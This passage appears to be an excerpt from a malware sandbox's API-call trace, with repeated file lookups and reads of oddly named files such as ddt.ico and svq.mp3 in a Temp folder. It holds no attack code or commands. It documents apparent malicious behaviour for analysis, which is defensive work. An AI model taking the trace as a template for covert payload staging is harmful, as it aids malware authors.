lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.649] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.649] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.649] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.649] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.649] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.649] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.649] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.649] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.650] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.650] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.650] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.650] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.650] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.650] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.650] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.650] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.650] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.650] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.651] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.651] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.651] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.651] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.651] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.651] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.651] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.651] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.651] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.651] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.651] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.652] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.652] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.652] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.652] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.652] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.652] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.652] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.652] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.652] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.653] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.653] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.653] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.653] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.653] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.655] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.655] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.655] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.656] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.656] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.656] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.656] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.656] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.656] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.656] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.656] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.656] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.656] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.656] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.657] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.657] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.657] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.657] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.657] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.657] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.657] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.657] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.657] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.657] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.658] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.658] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.658] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.658] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.658] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.658] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.658] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.658] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.658] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.659] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.659] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.659] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.659] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.659] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.659] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.659] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.659] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.659] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.659] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.659] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.659] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.660] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.660] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.660] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.660] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.660] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.660] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.660] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.660] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.660] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.660] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.661] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.661] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.661] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.661] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.661] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.661] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.661] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.661] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.662] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.662] SetFilePointerEx (in: hFile=0x1c, 